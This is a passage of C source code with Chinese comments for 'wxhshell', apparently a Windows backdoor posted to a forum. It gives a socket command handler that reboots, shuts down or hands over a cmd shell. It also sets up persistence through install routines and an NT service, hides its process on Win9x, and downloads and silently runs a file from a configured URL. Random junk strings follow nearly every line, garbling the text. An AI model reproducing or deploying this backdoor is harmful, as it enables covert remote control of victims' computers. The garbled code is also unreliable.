  } >qR7'QwP  
  // 安装 vB[~pQ;Z  
  case 'i': { <,\ `Psa)N  
    if(Install()) &^ V~cJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _i5mC,OffN  
    else U?gl"6x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tbtI1"$  
    break; C>.e+V+':  
    } 4L8z>9D  
  // 卸载 mDE'<c`b4  
  case 'r': { "r u]?{v  
    if(Uninstall()) EQ4#fAM)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'eD J@4Xm  
    else \[:PykS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *yJ[zXXjJ  
    break; l^.K'Q1~a  
    } kr%2w  
  // 显示 wxhshell 所在路径 XC=%H'p  
  case 'p': { Y[2Wt%2\6  
    char svExeFile[MAX_PATH]; &e5(Djz8t  
    strcpy(svExeFile,"\n\r"); (=1)y'.  
      strcat(svExeFile,ExeFile); U4Z[!s$  
        send(wsh,svExeFile,strlen(svExeFile),0); MWiMUTZg3  
    break; N;uUx#z  
    } ?a S%  
  // 重启 4t04}vp  
  case 'b': { `>s7M.|X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M :V2a<!c  
    if(Boot(REBOOT)) -K"4rz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oizT-8i@N  
    else { c! @F  
    closesocket(wsh); U#bl=%bF  
    ExitThread(0); #O"  
    } ["}A S:  
    break; P''X_1oMC  
    } *l{yW"Su  
  // 关机 g?B3!,!9  
  case 'd': { MU'@2c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zF8'i=b&  
    if(Boot(SHUTDOWN)) PocYFhWQ`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); []|;qHhC~(  
    else { syv$XeG=}  
    closesocket(wsh); x[QZ@rGIW  
    ExitThread(0); \i!Son.<  
    } ,|+Gls  
    break; vv6?V#{  
    } j Fma|y  
  // 获取shell petW M@  
  case 's': { n"6;\  
    CmdShell(wsh); 2#3^skj  
    closesocket(wsh); v!H:^!z  
    ExitThread(0); #Z\ O}<  
    break; Cp#)wxi6[y  
  } A3HF,EG  
  // 退出 {XgnZ`*  
  case 'x': { k@V#HC{t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,_D" ?o  
    CloseIt(wsh); h>alGLN>  
    break; 1G;8MPU  
    } JWROYED  
  // 离开 XF|WCZUnY%  
  case 'q': { z>;$im   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H6 &7\Wbk  
    closesocket(wsh); mffIf1f  
    WSACleanup(); t|V0x3X  
    exit(1); &-%X:~|:X  
    break; P}V=*g  
        } k;I  &.H  
  } EATu KLP\  
  } Q6IQV0{p  
,LZX@'5  
  // 提示信息 =p@8z /u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Wc4qJ.@  
} (vc|7DX M  
  } HSN8O@dy  
fQ+\;iAU  
  return; u=r`t(Z1H  
} [Il~K  
/\Z J   
// shell模块句柄 #eK=  
int CmdShell(SOCKET sock) K=?VDN  
{ RKZ6}q1n  
STARTUPINFO si; x0Yse:RE^  
ZeroMemory(&si,sizeof(si)); S[,8TErz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vw#{C>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  Fl3#D7K  
PROCESS_INFORMATION ProcessInfo; WKmbNvN^  
char cmdline[]="cmd"; K>2#UzW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AW,OH SXh6  
  return 0; K-eY|n  
} ifK%6o6  
~]'pY  
// 自身启动模式 U7iuY~L  
int StartFromService(void) I]nHbghcW  
{ %O%=rUD  
typedef struct \}_Yd8  
{ s '?GH  
  DWORD ExitStatus; }LP!)|E  
  DWORD PebBaseAddress; zf[`~g  
  DWORD AffinityMask; 8FkFM^\1L  
  DWORD BasePriority; a%BeqSZh  
  ULONG UniqueProcessId; pV(lhDNoQ  
  ULONG InheritedFromUniqueProcessId; wGsRS[  
}   PROCESS_BASIC_INFORMATION; Z5(enTy-  
Ad$n4Ze  
PROCNTQSIP NtQueryInformationProcess; is?2DcSl5  
=Z G:x<Hg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S/[E 8T"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *[+)7  
%Sk@GNI_  
  HANDLE             hProcess; 9\;|x  
  PROCESS_BASIC_INFORMATION pbi; 7^*"O&y_al  
awewYf$li  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PX(p X>  
  if(NULL == hInst ) return 0; 8|Y.|\  
"YU{Fkl#j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |=a}iU8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &o3K%M;C?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BxK^?b[E8  
N#C1-*[C  
  if (!NtQueryInformationProcess) return 0; Q@@v1G\  
_7T@5\b:;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H ?M/mGP  
  if(!hProcess) return 0; $ (=~r`O+1  
}!>=|1 fY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &PWB,BXv  
<plC_{Y:wu  
  CloseHandle(hProcess); D]s]"QQ8  
M$Zo.Bl$(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,)!u)wz  
if(hProcess==NULL) return 0; (Y% Q|u  
qT:zEt5  
HMODULE hMod; \C^;k%{LV  
char procName[255]; ra N)8w}-  
unsigned long cbNeeded; e`>{$t  
z*$q8Z&7rg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,m<H-gwa  
dq1:s1  
  CloseHandle(hProcess); K+=+?~  
>wHxmq8F5<  
if(strstr(procName,"services")) return 1; // 以服务启动 (b,[C\RBF  
W5L iXM  
  return 0; // 注册表启动 t*<#<a  
} I zbU)ud  
eM7Bc4V  
// 主模块 BvrB:%_:  
int StartWxhshell(LPSTR lpCmdLine) fF vF\  
{ CzCQFqXI  
  SOCKET wsl; xVL5'y1g B  
BOOL val=TRUE; =qy=-j]  
  int port=0; 4_v]O  
  struct sockaddr_in door; YwY74w:  
[+m?G4[  
  if(wscfg.ws_autoins) Install(); :,b iyJt  
{gNV[45  
port=atoi(lpCmdLine); >gwz,{  
D]a<4a 18  
if(port<=0) port=wscfg.ws_port; !\8  ;d8  
VQ5nq'{v  
  WSADATA data; D?yG+%&9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |t iUej  
%1 vsN-O}8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C;QAT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \#-W <  
  door.sin_family = AF_INET; {j5e9pg1L|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cKb)VG^  
  door.sin_port = htons(port); $D v\ e  
r_e7a6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =0;}K@(J  
closesocket(wsl); uEyH2QO  
return 1; gBh;=vOD  
} I+>%uShm  
Ofm%:}LV  
  if(listen(wsl,2) == INVALID_SOCKET) { n+lOb  
closesocket(wsl); yme^b ;a  
return 1; {!|}=45Z  
}  z@|GC_L  
  Wxhshell(wsl); ;,i]w"*  
  WSACleanup(); i wxVl)QL  
)[mwP.T=  
return 0; ay "'#[  
\I"Z2N>^z  
} ]?x: Qm'yo  
\0lnxLA  
// 以NT服务方式启动 *BuUHjTv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @/ZF` :   
{ g;$Xq)Dd  
DWORD   status = 0; ?Kvl!F!`  
  DWORD   specificError = 0xfffffff; ae:zWk'!  
}ENR{vz$A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8Og_W8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %AOja+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W^3uEm&l!)  
  serviceStatus.dwWin32ExitCode     = 0; 322jR4QGr  
  serviceStatus.dwServiceSpecificExitCode = 0; ]EwVpvTw  
  serviceStatus.dwCheckPoint       = 0; |-V&O=!^+  
  serviceStatus.dwWaitHint       = 0; 1]IQg;q  
l]~n3IK"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "S 3wk=?4  
  if (hServiceStatusHandle==0) return; V[-jD8=' 3  
FnJ?C&xK  
status = GetLastError(); dq[Mj5eC  
  if (status!=NO_ERROR) HV6f@  
{ *(PL _/:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S= _vv)6+4  
    serviceStatus.dwCheckPoint       = 0; 2z\zh[(w  
    serviceStatus.dwWaitHint       = 0; z'uK3ng\hH  
    serviceStatus.dwWin32ExitCode     = status; HB Iip?  
    serviceStatus.dwServiceSpecificExitCode = specificError; l;y7]DO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z1^gDjkZ  
    return; 8 k3S  
  } '* \|; l#1  
K\XH4kic  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s w39\urf  
  serviceStatus.dwCheckPoint       = 0; >``MR%E:<  
  serviceStatus.dwWaitHint       = 0; ~QvqG{bFB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "\0v,!@  
} 6JKqn~0Kk  
/mp*>sNr6  
// 处理NT服务事件,比如:启动、停止 8,0YD#x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y&/]O$<  
{ }%Bl>M  
switch(fdwControl) 'v]u#/7a  
{ lA>DS#_  
case SERVICE_CONTROL_STOP: f!O{%ev  
  serviceStatus.dwWin32ExitCode = 0; )(y) A[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sdQkT#%y  
  serviceStatus.dwCheckPoint   = 0; ]4;PR("aU  
  serviceStatus.dwWaitHint     = 0; }$bF 5&  
  { <dW]\h?)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %W@v2  
  } wywQ<n  
  return; Vp>|hj po  
case SERVICE_CONTROL_PAUSE: G7N| :YK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JH:0 L  
  break; [s&$l G!  
case SERVICE_CONTROL_CONTINUE: V+I|1{@i0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t |~YEQ  
  break; o.q/O)'V u  
case SERVICE_CONTROL_INTERROGATE: :n /@z4#  
  break; |&Ym@Jyj  
}; detwa}h[0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f4L`.~b'hb  
} TEDAb >  
rj6#1kt  
// 标准应用程序主函数 $H+VA@_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e["2QIOe  
{ H,N)4;F<c  
=m5SK5vLKT  
// 获取操作系统版本 gn3jy^5  
OsIsNt=GetOsVer(); Nbp!teH6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?B :a|0pf  
X^WrccNX  
  // 从命令行安装 i\W/C  
  if(strpbrk(lpCmdLine,"iI")) Install(); -!c"k}N=  
%;.;>Y(-  
  // 下载执行文件 ?JL:CBvCp  
if(wscfg.ws_downexe) { bf9a 1<\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r2k2%nI-J  
  WinExec(wscfg.ws_filenam,SW_HIDE); e^ v.)  
} jg?x&'u\)  
{J^lX/D  
if(!OsIsNt) { byv[yGa`  
// 如果时win9x,隐藏进程并且设置为注册表启动 !"eIV@7  
HideProc(); WJ_IuX51'  
StartWxhshell(lpCmdLine); :]J Ye*  
} vap,y $C  
else `X3^fg  
  if(StartFromService()) I_A@BnM{I  
  // 以服务方式启动 .l@xsJn  
  StartServiceCtrlDispatcher(DispatchTable); _Gu- uuy  
else Vb9',a?#n  
  // 普通方式启动 .nyfYa+  
  StartWxhshell(lpCmdLine); 1&e} ms  
=C~/7N,lW]  
return 0; }fKSqB]T-  
}
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只看该作者 1 发表于: 2006-10-10
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